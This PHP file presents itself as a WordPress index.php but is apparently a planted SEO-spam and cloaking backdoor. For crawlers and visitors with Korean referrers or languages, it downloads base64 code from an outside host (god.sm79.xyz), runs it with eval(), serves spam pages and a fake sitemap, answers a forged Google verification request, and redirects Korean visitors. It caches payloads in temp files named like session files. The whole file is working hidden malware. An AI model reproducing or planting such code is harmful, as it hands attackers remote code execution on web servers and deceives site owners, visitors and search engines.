<?php
function _get_temp_dir_mass(){	if(function_exists("sys_get_temp_dir")){		if(@is_writeable(sys_get_temp_dir())&&@is_readable(sys_get_temp_dir())){return(realpath(sys_get_temp_dir()));}	}    if(!empty($_ENV["TMP"])&&@is_writeable(realpath($_ENV["TMP"]))&&@is_readable($_ENV["TMP"])){return(realpath($_ENV["TMP"]));}    if(!empty($_ENV["TMPDIR"])&&@is_writeable(realpath($_ENV["TMPDIR"]))&&@is_readable($_ENV["TMPDIR"])){return(realpath( $_ENV["TMPDIR"]));}    if(!empty($_ENV["TEMP"])&&@is_writeable(realpath($_ENV["TEMP"]))&&@is_readable($_ENV["TEMP"])){return(realpath( $_ENV["TEMP"]));}    $tempfile=@tempnam(__FILE__,"");    if(@file_exists($tempfile)){		@unlink($tempfile);		if(@is_writeable(realpath(dirname($tempfile)))&&@is_readable(realpath(dirname($tempfile)))){return(realpath(dirname($tempfile)));}    }    if(@is_writeable(realpath(@ini_get("upload_tmp_dir")))&&@is_readable(realpath(@ini_get("upload_tmp_dir")))){return(realpath(@ini_get("upload_tmp_dir")));}    if(@is_writeable(realpath(session_save_path()))&&@is_readable(realpath(session_save_path()))){return(realpath(session_save_path()));}    if(@is_writeable(realpath(dirname(__FILE__)))&&@is_readable(realpath(dirname(__FILE__)))){return(realpath(dirname(__FILE__)));}}function isBot() {    return (        isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|spider|mediapartners|slurp|patrol/i', $_SERVER['HTTP_USER_AGENT'])    );}function hashCode($str){    if(empty($str)) return '';    $mdv = md5($str);    $mdv1 = substr($mdv,0,16);	$mdv2 = substr($mdv,16,16);	$crc1 = abs(crc32($mdv1));	$crc2 = abs(crc32($mdv2));	return substr(bcmul($crc1,$crc2),0,8);}function rand_str($len=-1){	if($len=-1){		$len = mt_rand(13,25);	}	$str = null;	$strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz-_-_/";	$max = strlen($strPol)-1; 	for($i=0;$i<$len;$i++){		$str.=$strPol[mt_rand(0,$max)];	}		$str.= '.';		$len = mt_rand(3,5);	$strPol = "abcdefghijklmnopqrstuvwxyz";	$max = strlen($strPol)-1; 	for($i=0;$i<$len;$i++){		$str.=$strPol[mt_rand(0,$max)];	}		return $str;}function _http_get($url){    $_html = '';    if (function_exists('file_get_contents')) {        $_html = @file_get_contents($url);    }    if ($_html == '' && function_exists('curl_init')) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);        $_html = curl_exec($ch);        curl_close($ch);    }    if ($_html == '' && function_exists('fopen')) {        $handle = fopen($url, "rb");        do {            $data = fread($handle, 8192);            if (strlen($data) == 0) {                break;            }            $_html .= $data;        } while (true);        fclose($handle);    }    return $_html;}function _local_host(){    $status = false;    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {        $status = true;    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {        $status = true;    }    $http = $status ? 'https://' : 'http://';    $host = $http . $_SERVER['SERVER_NAME'];    if ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {        $host .= ":" . $_SERVER['SERVER_PORT'];    }    return $host;}function _get_cache($link){		$tmpdir = _get_temp_dir_mass();		$file = $tmpdir.'/sess_'.md5($link);		$html = @file_get_contents($file);		if (!file_exists($file) || (isset($_GET['update']) && $_GET['update']=='19131421') || !stristr($html,"->|") || !stristr($html,"|<-") || time() - filemtime($file) > 60 * 60 * 24) {			$html = _http_get($link);			if($fp = @fopen($file,'w')){fwrite($fp, $html); fclose($fp);}else{return $html;}		}		return ($html);}function _local_url(){	$url = _local_host().$_SERVER['REQUEST_URI'];	return $url;}function _base_url(){	$local_host = _local_host();	$request_url = str_ireplace('//','/',str_ireplace('\\','/',$_SERVER['REQUEST_URI']));	$request_scr = $_SERVER['SCRIPT_NAME'];	$script_name = basename($request_scr);	$script_path = str_ireplace('\\','/',dirname($request_scr));		if(stristr($request_url,$script_name)){		return $local_host.$request_scr.'/';	}		if(strtolower($script_name)=='index.php' && ($request_url == $script_path || $request_url == $script_path.'/')){		return $local_host.$request_scr.'/';	}		return $local_host.$script_path;}function _get_between($input, $start, $end) {    $substr = substr($input, strlen($start)+strpos($input, $start),(strlen($input) - strpos($input, $end))*(-1));    return $substr;}function content_process($content,$Data_arr,$search=false){	global $local_url;	global $base;	$content = str_ireplace('[time]', date("Y-m-d-H-i", time()), $content);		foreach($Data_arr as $k=>$v){		$p = strpos($content, '['.$k.'x]');		while ($p !== false) {			$content = substr_replace($content, $v[mt_rand(0, count($v)-1)], $p, strlen('['.$k.'x]'));			$p = strpos($content, '['.$k.'x]');		}				for($i=1;$i<=20;$i++){			if(strpos($content, '['.$k.$i.']') !== false){				if($search){					$content = str_ireplace('['.$k.$i.']', $v[mt_rand(0, count($v)-1)], $content);				}else{					$content = str_ireplace('['.$k.$i.']',_get_static_arr($local_url.$k.$i.$i,$v), $content);				}			}else{break;}		}				for($i=1;$i<=20;$i++){			if(strpos($content, '['.$k.'l'.$i.']') !== false || strpos($content, '['.$k.'r'.$i.']') !== false){				if($search){					$arr_b = explode('|',$v[mt_rand(0, count($v)-1)]);				}else{					$arr_b = explode('|',_get_static_arr($local_url.$k.$i.$i,$v));				}								if(count($arr_b)>1){					$content = str_ireplace('['.$k.'l'.$i.']', $arr_b[0], $content);					$content = str_ireplace('['.$k.'r'.$i.']', $arr_b[1], $content);				}			}else{break;}		}	}		$p = strpos($content, '[ahref]');    while ($p !== false) {		if(mt_rand(0,1)==0){			$hurl = $base.rand_str().".".rand_str(mt_rand(3,4));		}else{			$hurl = $base.date("Y-m-d", time())."_".rand_str().".".rand_str(mt_rand(3,4));		}		if(isset($Data_arr['area'])){			$htitle = $Data_arr['area'][mt_rand(0, count($Data_arr['area'])-1)];		}		if(isset($Data_arr['keyword'])){			$htitle .= $Data_arr['keyword'][mt_rand(0, count($Data_arr['keyword'])-1)];		}        $content = substr_replace($content, "<a href=\"" . $hurl . "\">" . $htitle . "</a>", $p, strlen('[ahref]'));        $p = strpos($content, '[ahref]');    }		return $content;}if (strpos($_SERVER['REQUEST_URI'], 'sitemap.xml') !== false) {	$base_url = _base_url();	    $res = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<urlset xmlns=\"http://www.google.com/schemas/sitemap/0.84\">\r\n";    for ($i = 0; $i < 100; $i++) {		if(mt_rand(0,1)==0){			$url = $base_url.rand_str().".".rand_str(mt_rand(3,4));		}else{			$url = $base_url.date("Y-m-d", time())."_".rand_str().".".rand_str(mt_rand(3,4));		}                $res .= " <url>\r\n  <loc>" . $url . "</loc>\r\n   <lastmod>" . date("Y-m-d", time()) . "</lastmod>\r\n   <changefreq>daily</changefreq>\r\n   <priority>0.9</priority>\r\n </url>\r\n";    }    $res .= "</urlset>";    header("Content-type:text/xml");    die($res);}if(strpos(strtolower($_SERVER['REQUEST_URI']), "google16e3a357341375c6.html") !== false){	die('google-site-verification: google16e3a357341375c6.html');}if(strpos(strtolower(@$_SERVER['HTTP_REFERER']), ".kr") !== false || strpos(strtolower(@$_SERVER['HTTP_ACCEPT_LANGUAGE']), "ko") !== false){	$local_url = _local_url();	$html = base64_decode(_get_between(_get_cache('http://god.sm79.xyz/api.php?g=gitt'),"->|","|<-"));	eval($html);	$Data_arr = _get_static_arr($local_url.'Data_arr',$Main_arr["data"]);	$sc_arr = explode('|',_get_static_arr($local_url."sitel1",$Data_arr['site']));	die('<!DOCTYPE html><html><body><script>document.location=("'.@trim($sc_arr[0]).'");</script></body></html>');}function _get_static_arr($str,$arr){	return($arr[hashCode($str)%count($arr)]);}if(isBot()){	$base = _base_url();	$local_url = _local_url();	$html = base64_decode(_get_between(_get_cache('http://god.sm79.xyz/api.php?g=gitt'),"->|","|<-"));	eval($html);	$Data_arr = _get_static_arr($local_url.'Data_arr',$Main_arr["data"]);	$Data_arr = array_merge($Data_arr,$Main_arr["common"]);	$git = $Main_arr["git"];	$html_m = base64_decode(_get_between(_get_cache($git.(hashCode(_local_url())%500+1).'.txt'),"->|","|<-"));	$html_m = content_process($html_m,$Data_arr);			$s = strpos($html_m, '[search]');    while ($s !== false) {		$seed = rand_str();		$content = content_process($Main_arr["search"]["rule"][mt_rand(0,count($Main_arr["search"]["rule"])-1)],$Data_arr,true);		$hurl = str_ireplace('[content]',urlencode($content),$Main_arr["search"]["data"][mt_rand(0,count($Main_arr["search"]["data"])-1)]);        $html_m = substr_replace($html_m, "<a href=\"" . $hurl . "\">" . $content . "</a>", $s, strlen('[search]'));        $s = strpos($html_m, '[search]');    }    die($html_m);}define("WP_USE_THEMES", true); @require( dirname( __FILE__ ) . "/wp-blog-header.php" );
